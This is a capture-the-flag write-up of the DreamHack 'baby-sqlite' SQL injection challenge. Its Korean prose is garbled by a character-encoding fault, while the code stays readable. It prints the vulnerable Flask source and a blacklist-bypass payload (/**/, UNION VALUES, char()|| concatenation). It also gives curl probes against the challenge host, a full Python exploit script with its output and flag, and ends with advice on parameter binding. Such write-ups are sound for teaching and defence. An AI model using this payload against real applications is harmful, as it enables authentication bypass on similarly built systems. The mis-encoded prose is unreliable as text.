๋ฌธ์ : DreamHack โ baby-sqlite ๋ถ๋ฅ: Web (SQL Injection) ๋์ด๋: ๐ฅ Silver 3 FLAG:
DH{sql-lite-cass-lite}
๋ก๊ทธ์ธ ํผ ํ๋์ง๋ฆฌ ๋ฌธ์ ๋ค. ๊ฒ์ผ๋ก๋ ์์ด๋ยท๋น๋ฐ๋ฒํธ๋ง ๋ฐ๋๋ฐ, ์๋ฒ๋ ๋ชฐ๋ level ์ด๋ผ๋ ์ธ ๋ฒ์งธ ๊ฐ์ ํจ๊ป ์ฟผ๋ฆฌ์ ๋ฃ๋๋ค. ๋ธ๋๋ฆฌ์คํธ๊ฐ ๊ฝค ์ด์ดํด์ ํํ ์ฐ๋ ' or 1=1 -- ๋ ์ฒซ ๊ธ์๋ถํฐ ๋งํ๋ค. ๊ฒฐ๊ตญ ํํฐ๊ฐ ๋์น ๋ฌธ๋ฒ ์กฐ๊ฐ๋ค์ ์ด์ด ๋ถ์ฌ admin ํ ์์ฒด๋ฅผ ๋ง๋ค์ด๋ด๋ ๊ฒ ์ด ๋ฌธ์ ์ ์ ๋ถ๋ค.

๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | baby-sqlite |
| ๋์ด๋ | ๐ฅ Silver 3 |
| ๋ถ๋ฅ | Web ยท SQL Injection |
| ์คํ | Python Flask + SQLite3, ์๋ฒ์ธก ๋ฌธ์์ด ์กฐ๋ฆฝ ์ฟผ๋ฆฌ |
| ์ ๊ณต | app.py ์์ค + ๋ผ์ด๋ธ ์๋ฒ |
| ํต์ฌ ์ทจ์ฝ์ | ๋ฐ์ดํ ์๋ ์ซ์ ์ปฌ๋ผ level ์ f-string SQLi + ๋ธ๋๋ฆฌ์คํธ ์ฐํ |
ํ์ด ํ๋ฆ์ ์งง๋ค. ์์ค์์ ์ฃผ์
์ ์ด level ๋ฟ์์ ํ์ธํ๊ณ , ๋ธ๋๋ฆฌ์คํธ๊ฐ ๋ง๋ ๊ฒ๊ณผ ์ ๋ง๋ ๊ฒ์ ๋๋ ๋ณธ ๋ค์, ๋จ์ ์กฐ๊ฐ(/**/, union, values, char(), ||)์ผ๋ก admin ํ์ ์์กฐํ๋ ํ์ด๋ก๋๋ฅผ ์กฐ๋ฆฝํ๋ค.
๐ฌ ์ฝ๋ ์ ์ฐฐ โ app.py
์ ๊ณต๋ ์์ค๋ ํ ํ์ผ๋ฟ์ด๊ณ , ๋ก๊ทธ์ธ ๋ผ์ฐํธ๊ฐ ์ ๋ถ๋ค.
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
uid = request.form.get('uid', '').lower()
upw = request.form.get('upw', '').lower()
level = request.form.get('level', '9').lower()
sqli_filter = ['[', ']', ',', 'admin', 'select', '\'', '"', '\t', '\n', '\r',
'\x08', '\x09', '\x00', '\x0b', '\x0d', ' ']
for x in sqli_filter:
if uid.find(x) != -1: return 'No Hack!'
if upw.find(x) != -1: return 'No Hack!'
if level.find(x) != -1: return 'No Hack!'
with app.app_context():
conn = get_db()
query = f"SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};"
try:
req = conn.execute(query)
result = req.fetchone()
if result is not None:
uid = result[0]
if uid == 'admin':
return FLAG
except:
return 'Error!'
return 'Good!'์ธ ๊ฐ์ด ๊ทธ๋๋ก f-string ์ฟผ๋ฆฌ์ ๋ค์ด๊ฐ๋ค. ์ฌ๊ธฐ์ ๋์ฌ๊ฒจ๋ณผ ์ง์ ์ด ๋ ๊ฐ๋ค.
์ฒซ์งธ, ์ฃผ์
์ ์ level ํ๋๋ฟ์ด๋ค. uid ์ upw ๋ uid='{uid}' ์ฒ๋ผ ์์๋ฐ์ดํ๋ก ๊ฐ์ธ์ ธ ์๋๋ฐ, ํํฐ๊ฐ ' ์ " ๋ฅผ ๋ ๋ค ๋ง๋๋ค. ๋ฐ์ดํ๋ฅผ ๋ชป ๋ฃ์ผ๋ฉด ๋ฌธ์์ด ๋ฆฌํฐ๋ด ๋ฐ์ผ๋ก ๋น ์ ธ๋์ฌ ์ ์์ผ๋ ์ด ๋์ ์ฃผ์
์ด ์ ๋๋ค. ๋ฐ๋ฉด level ์ and level={level} โ ๋ฐ์ดํ ์์ด ์ซ์ ์๋ฆฌ์ ๋ฐ๋ก ๋ถ๋๋ค. ์ฌ๊ธฐ๋ ๋ฐ์ดํ๊ฐ ์ ์ด์ ํ์ ์๋ค.
๋์งธ, ์ฑ๊ณต ์กฐ๊ฑด์ "๋ก๊ทธ์ธ"์ด ์๋๋ผ "๊ฒฐ๊ณผ ์ฒซ ์ปฌ๋ผ์ด admin"์ด๋ค. result[0] == 'admin' ์ด์ด์ผ FLAG ๋ฅผ ์ค๋ค.
๊ทธ๋ฐ๋ฐ DB ์ด๊ธฐํ ์ฝ๋๋ฅผ ๋ณด๋ฉด ์ฌ์ฉ์๊ฐ ๋ฑ ํ๋๋ค.
conn.execute('CREATE TABLE users (uid text, upw text, level integer);')
conn.execute("INSERT INTO users VALUES ('dream','cometrue', 9);")admin ์ด๋ผ๋ ํ์ ์กด์ฌํ์ง ์๋๋ค. ๊ทธ๋ฌ๋ "admin ์ผ๋ก ๋ก๊ทธ์ธ"์ด ์๋๋ผ, ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ์ admin ์ด๋ผ๋ ๊ฐ์ ์ง์ ๋ง๋ค์ด ๋ผ์ ๋ฃ์ด์ผ ํ๋ค. UNION ์ ๋ ์ฌ๋ฆด ์๋ฐ์ ์๋ ๊ตฌ์กฐ๋ค.
๋จผ์ ์ ์ ๋์๋ถํฐ ํ์ธํ๋ค. ํผ์๋ uidยทupw ์นธ๋ง ์๊ณ level ์ ์๋ค โ ์๋ฒ๊ฐ ๊ธฐ๋ณธ๊ฐ '9' ๋ก ์ฑ์ด๋ค.

dream / cometrue ๋ฅผ ๋ฃ์ผ๋ฉด dream ํ์ด ๋งค์นญ๋์ง๋ง result[0] ์ด dream ์ด๋ผ FLAG ์กฐ๊ฑด์๋ ๋ชป ๋ฏธ์น๊ณ Good! ๋ง ๋ฌ๋ค.


๐งฑ ๋ฐฐ๊ฒฝ โ SQLite ์ ๋ฌธ๋ฒ ์กฐ๊ฐ๋ค
์ด ๋ฌธ์ ๋ SQLite ์ ๋ช ๊ฐ์ง ์ฑ์ง์ ์๋ฉด ํ๋ฆฐ๋ค.
- ์ฃผ์
/**/์ ๊ณต๋ฐฑ์ฒ๋ผ ์ฐ์ธ๋ค. ํ ํฐ ์ฌ์ด ์๋ฌด ๋ฐ๋ ๋ฃ์ ์ ์์ด์, ๊ณต๋ฐฑ์ด ๋งํ์ ๋ ๋จ์ด ๊ตฌ๋ถ์๋ก ๊ทธ๋๋ก ๋์ฒด๋๋ค. char(N)์ ์ฝ๋ํฌ์ธํธ๋ฅผ ๊ธ์๋ก ๋ฐ๊พผ๋ค.char(97)โ'a'. ๋ฐ์ดํ ์์ด ๋ฌธ์์ด ํ ๊ธ์๋ฅผ ๋ง๋ค ์ ์๋ค.||๋ ๋ฌธ์์ด ์ฐ๊ฒฐ ์ฐ์ฐ์๋ค.char(97)||char(100)โ'ad'. ์ฝค๋ง ์์ด ์ฌ๋ฌ ๊ธ์๋ฅผ ์ด์ด ๋ถ์ผ ์ ์๋ค.VALUES(...)๋ ๊ทธ ์์ฒด๋ก ํ ํ์ ๋ง๋๋ ๊ตฌ๋ฌธ์ด๋ค.SELECT ... UNION VALUES('x')์ฒ๋ผSELECT์์ด๋ UNION ์ ์ค๋ฅธ์ชฝ์ ์ฌ ์ ์๋ค. ์ฆselectํค์๋ ์์ด ์์์ ํ์ ๋ถ์ผ ์ ์๋ค.
์ด ๋ค ๊ฐ์ง๊ฐ ๋ธ๋๋ฆฌ์คํธ๋ฅผ ์ ํํ ๋น๊ปด๊ฐ๋ค. ํํฐ๋ select ๋ ๋ง์ง๋ง unionยทvaluesยทchar ๋ ์ ๊ฒฝ ์ฐ์ง ์๊ณ , , ๋ ๋ง์ง๋ง || ๋ ๋๋๋ค.
๐ ์ฝ์ง โ ๋ธ๋๋ฆฌ์คํธ์ ํ๋์ฉ ๊ฑธ๋ฆฌ๋ ๊ณผ์
๊ณง์ฅ ํ์ด๋ก๋๊ฐ ๋์จ ๊ฑด ์๋๊ณ , ํํ ๊ฒ๋ถํฐ ๋ฃ์ด๋ณด๋ฉฐ ๋ฌด์์ด ๋งํ๋์ง ์ง๋๋ฅผ ๊ทธ๋ ธ๋ค.
โถ๐ ์ฝ์ง 1 โ admin ๊ณผ ๊ณต๋ฐฑ์ ์ฆ์ ์ฐจ๋จ
๊ฐ์ฅ ๋จผ์ uid=admin ์ ์๋ํ๋ค. admin ์ด ํต์งธ๋ก ๋ธ๋๋ฆฌ์คํธ์ ์์ผ๋ ์ฟผ๋ฆฌ๋ ์คํ๋์ง๋ ์๊ณ No Hack! ์ด๋ค.

level=1 or 1=1 ๊ฐ์ ๊ณ ์ ํ์ด๋ก๋๋ ๋ง์ฐฌ๊ฐ์ง๋ค. or ์๋ค ๊ณต๋ฐฑ์ด ํํฐ์ ๊ฑธ๋ฆฐ๋ค. ๋ธ๋๋ฆฌ์คํธ์ ์คํ์ด์ค(' ')๊ฐ ๋ช
์์ ์ผ๋ก ๋ค์ด ์์ด์, ๊ณต๋ฐฑ์ ์ฐ๋ ์๊ฐ ๋์ด๋ค. ๊ทธ๋์ ์ดํ ๋ชจ๋ ํ์ด๋ก๋์์ ๊ณต๋ฐฑ์ /**/ ๋ก ๋ฐ๊ฟ ์ฐ๊ธฐ๋ก ํ๋ค.
โถ๐ ์ฝ์ง 2 โ UNION SELECT ๋, char ์ฝค๋ง๋ ๋งํ๋ค
์ฃผ์
์ ์ด level ์ด๊ณ admin ํ์ ์์กฐํด์ผ ํ๋ ์์ฐ์ค๋ฝ๊ฒ union select 'admin' ์ ๋ ์ฌ๋ ธ๋ค. ๊ทธ๋ฐ๋ฐ ์ด๊ฑด ์ง๋ขฐ๋ฐญ์ด๋ค.
selectโ ๋ธ๋๋ฆฌ์คํธ'admin'์'โ ๋ธ๋๋ฆฌ์คํธ,admin๋ฌธ์์ด๋ ๋ธ๋๋ฆฌ์คํธ- ๋จ์ด ์ฌ์ด ๊ณต๋ฐฑ โ ๋ธ๋๋ฆฌ์คํธ
๋ฐ์ดํ ์์ด ๋ฌธ์์ด์ ๋ง๋ค๋ ค๊ณ char(97,100,109,105,110) ๋ ์๊ฐํ์ง๋ง, ์ธ์ ๊ตฌ๋ถ์์ธ ์ฝค๋ง(,)๊ฐ ๋งํ ์๋ค. char() ์์ฒด๋ ๋๋๋ฐ ํ ๋ฒ์ ํ ๊ธ์๋ฐ์ ๋ชป ๋ฃ๋๋ค๋ ๋ป์ด๋ค.
์ ๋ฆฌํ๋ฉด ๋จ์ ์ฌ๋ฃ๋ ์ด๋ ๋ค.
| ๋ง๋ ๊ฒ | ๋๋๋ ๋์ฒด |
|---|---|
| ๊ณต๋ฐฑ | /**/ |
select | union values(...) |
, (char ์ธ์) | ` |
'admin' | `char(97) |
๐ฃ ํต์ฌ โ UNION VALUES ๋ก admin ํ ์์กฐ
์ฌ๋ฃ๊ฐ ๋ค ๋ชจ์ด๋ฉด ์กฐ๋ฆฝ์ ๊ธฐ๊ณ์ ์ด๋ค. select ๋ฅผ ๋ชป ์ฐ๋ UNION ์ค๋ฅธ์ชฝ์ VALUES(...) ๋ก ์ฑ์ฐ๊ณ , ๊ทธ ์์ char()||... ๋ก ๋ง๋ 'admin' ์ ๋ฃ๋๋ค. ๊ณต๋ฐฑ์ ์ ๋ถ /**/.
level = 9/**/union/**/values(char(97)||char(100)||char(109)||char(105)||char(110))์ด๊ฒ ์ฟผ๋ฆฌ์ ๋ผ๋ฉด ์ต์ข SQL ์ ๋ค์๊ณผ ๊ฐ๋ค.
SELECT uid FROM users
WHERE uid='x' and upw='x' and level=9
UNION VALUES('admin');์ผ์ชฝ SELECT ๋ uid='x' ์ธ ์ฌ์ฉ์๊ฐ ์์ผ๋ 0ํ์ด๋ค. ์ค๋ฅธ์ชฝ VALUES('admin') ์ด ('admin') ํ ํ์ ๋ง๋ค์ด ๋ถ์ธ๋ค. ํฉ์น๋ฉด ๊ฒฐ๊ณผ ์งํฉ์๋ admin ํ ํ๋๋ง ๋จ๊ณ , fetchone() ์ด ๊ทธ๊ฑธ ์ง์ด result[0] == 'admin' ์ด ์ฑ๋ฆฝํ๋ค. FLAG ์กฐ๊ฑด ํต๊ณผ๋ค.

๋ธ๋๋ฆฌ์คํธ ์ฐํ์ ํต์ฌ์ "๊ธ์ง์ด๋ฅผ ์ ์ฐ๊ณ ๊ฐ์ ์๋ฏธ๋ฅผ ํํ"ํ๋ ๊ฒ์ด๋ค. union ์ ์ ๋ง์ ๊ฒ, charยทvaluesยท|| ๋ฅผ ๋์น ๊ฒ, ์ด ์ธ ๊ตฌ๋ฉ์ด ๊ฒน์ณ์ ๋ซ๋ฆฐ๋ค. ํ๋๋ผ๋ ๋ง์์ผ๋ฉด ํจ์ฌ ์ฑ๊ฐ์
จ์ ๋ฌธ์ ๋ค.
๐ฏ ์ต์คํ๋ก์ โ curl ๋ก ๋์กฐ
ํํฐ๊ฐ ์ค์ ๋ก ๋ฌด์์ ๋ง๊ณ ๋ฌด์์ ํต๊ณผ์ํค๋์ง ๋ผ์ด๋ธ ์๋ฒ์ ๊ทธ๋๋ก ํ์ธํ๋ค. ์ ์ ๋ก๊ทธ์ธ, ์ฐจ๋จ๋๋ ๋ ์ผ์ด์ค, ๊ทธ๋ฆฌ๊ณ ์ฐํ ํ์ด๋ก๋๋ฅผ ํ ๋ฒ์ ๋น๊ตํ๋ค.
# probe.sh โ /login ํํฐยท์ฐํ ๋์กฐ
U="http://host3.dreamhack.games:21964/login"
curl -s "$U" --data-urlencode uid=dream --data-urlencode upw=cometrue --data-urlencode level=9 # ์ ์
curl -s "$U" --data-urlencode uid=admin --data-urlencode upw=x --data-urlencode level=9 # admin ์ฐจ๋จ
curl -s "$U" --data-urlencode uid=x --data-urlencode upw=x --data-urlencode 'level=1 or 1=1' # ๊ณต๋ฐฑ ์ฐจ๋จ
curl -s "$U" --data-urlencode uid=x --data-urlencode upw=x \
--data-urlencode 'level=9/**/union/**/values(char(97)||char(100)||char(109)||char(105)||char(110))' # ์ฐํ
admin ๊ณผ ๊ณต๋ฐฑ์ No Hack! ๋ก ๋งํ๋๋ฐ, ๊ฐ์ ์๋ฏธ๋ฅผ /**/ยทchar()||ยทvalues ๋ก ํํํ ๋ง์ง๋ง ํ์ด๋ก๋๋ง ํํฐ๋ฅผ ํต๊ณผํด ํ๋๊ทธ๋ฅผ ๋ฑ๋๋ค.
๋ธ๋ผ์ฐ์ ์์๋ ์ฌํํ๋ค. ํผ์๋ level ์นธ์ด ์์ผ๋ ๊ฐ๋ฐ์ ๋๊ตฌ๋ก level ์
๋ ฅ์ ํ๋ ๋ผ์ ๋ฃ๊ณ ํ์ด๋ก๋๋ฅผ ์ฑ์ด ๋ค ์ ์ถํ๋ค.


๐ Full Exploit
ํ์ด๋ก๋๋ ์งง์ง๋ง, admin ๋ฌธ์์ด์ char() ๋ก ์กฐ๋ฆฝํ๋ ๋ถ๋ถ๋ง ์ฝ๋๋ก ๋ฝ์ ๋๋ฉด ์ฌ์ฌ์ฉ์ด ํธํ๋ค.
#!/usr/bin/env python3
# baby-sqlite โ SQLi UNION VALUES ํํฐ ์ฐํ
import sys
import requests
URL = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:21964/login"
# 'admin' ์ char() + || ๋ก ์กฐ๋ฆฝ (์ฝค๋ง ๊ธ์ง๋ผ char(97,100,..) ๋ถ๊ฐ)
admin = "||".join(f"char({c})" for c in b"admin") # char(97)||char(100)||...
payload = f"9/**/union/**/values({admin})"
print(f"[*] target : {URL}")
print(f"[*] level : {payload}")
r = requests.post(URL, data={"uid": "x", "upw": "x", "level": payload}, timeout=15)
body = r.text.strip()
print(f"[*] resp : {body}")
if body.startswith("DH{"):
print(f"\n[+] FLAG: {body}")
else:
print("\n[-] ์คํจ โ ์๋ฒ ์ํ/URL ํ์ธ")์คํํ๋ฉด ์กฐ๋ฆฝ๋ ํ์ด๋ก๋์ ์๋ฒ ์๋ต์ด ๊ทธ๋๋ก ์ฐํ๋ค.

[*] target : http://host3.dreamhack.games:21964/login
[*] level : 9/**/union/**/values(char(97)||char(100)||char(109)||char(105)||char(110))
[*] resp : DH{sql-lite-cass-lite}
[+] FLAG: DH{sql-lite-cass-lite}๐ ๊ฒฐ๋ก
์ฃผ์ ์ ์ ๋ฐ์ดํ ์ ๋ฌด๋ก ๊ฐ๋ฆฐ๋ค.
๊ฐ์ ์ฟผ๋ฆฌ ์์์๋ uid='{uid}' ๋ ๋ฐ์ดํ๋ก ๊ฐ์ธ ํํฐ ' ํ๋๋ก ๋งํ์ง๋ง, level={level} ์ ์ซ์ ์๋ฆฌ๋ผ ๋ฐ์ดํ๊ฐ ํ์ ์์ด ๊ทธ๋๋ก ๋ซ๋ฆฐ๋ค. ๋ฌธ์์ด ๊ฐ๋ง ์ ๊ฒฝ ์ฐ๊ณ ์ซ์ ์ปฌ๋ผ์ ๋ฐฉ์นํ๋ ๊ฑด ํํ ์ค์๋ค. ํ๋ผ๋ฏธํฐ๊ฐ ์ซ์๋ ๋ฌธ์๋ ์์ธ ์์ด ํ๋ผ๋ฏธํฐ ๋ฐ์ธ๋ฉ(placeholder) ์ผ๋ก ๋๊ฒจ์ผ ํ๋ค. conn.execute("... and level=?", (level,)) ์๋ค๋ฉด ์ด ๋ฌธ์ ๋ ์ฑ๋ฆฝํ์ง ์๋๋ค.
๋ธ๋๋ฆฌ์คํธ๋ "๊ธ์ง์ด๋ฅผ ์ ์ฐ๋ ํํ"์ ์ฝํ๋ค.
select ๋ฅผ ๋ง์๋ VALUES ๊ฐ ์๊ณ , ๊ณต๋ฐฑ์ ๋ง์๋ /**/ ๊ฐ ์๊ณ , ์ฝค๋ง๋ฅผ ๋ง์๋ || ๊ฐ ์๋ค. SQL ๋ฌธ๋ฒ์ ๊ฐ์ ๋ป์ ์ฌ๋ฌ ๋ฐฉ์์ผ๋ก ์ธ ์ ์์ด์, ํค์๋ยท๋ฌธ์ ๋จ์๋ก ๊ฑฐ๋ฅด๋ ๋ฐฉ์ด๋ ์ธ์ ๋ ์ฐํ๋ก๊ฐ ๋จ๋๋ค. ์
๋ ฅ์ ๊ฑฐ๋ฅด๋ ๋ฐฉํฅ์ด ์๋๋ผ ์ฟผ๋ฆฌ์ ๋ฐ์ดํฐ๋ฅผ ๋ฌธ๋ฒ์ ์ผ๋ก ๋ถ๋ฆฌํ๋ ๋ฐฉํฅ์ด ์ ๋ต์ด๋ค.
์ฑ๊ณต ์กฐ๊ฑด๋ ๋ค์ ๋ณธ๋ค.
์ด ๋ฌธ์ ๋ "admin ์ผ๋ก ๋ก๊ทธ์ธ"์ด ์๋๋ผ "๊ฒฐ๊ณผ ์ฒซ ์ปฌ๋ผ์ด admin"์ด์๊ณ , DB ์ admin ํ์ด ์์ ์์๋ค. ์ธ์ฆ ์ฐํ๋ฅผ ๋ ธ๋ฆด ๋ ๋์ ๊ณ์ ์ด ์ค์ ๋ก ์กด์ฌํ๋์ง, ์๋๋ฉด ๊ฒฐ๊ณผ ์์ฒด๋ฅผ ์์กฐํ๋ ๋ฌธ์ ์ธ์ง ๋จผ์ ํ์ธํ๋ฉด ํ๋ค๋ฆฌ๋ฅผ ๋ ์ง๋๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ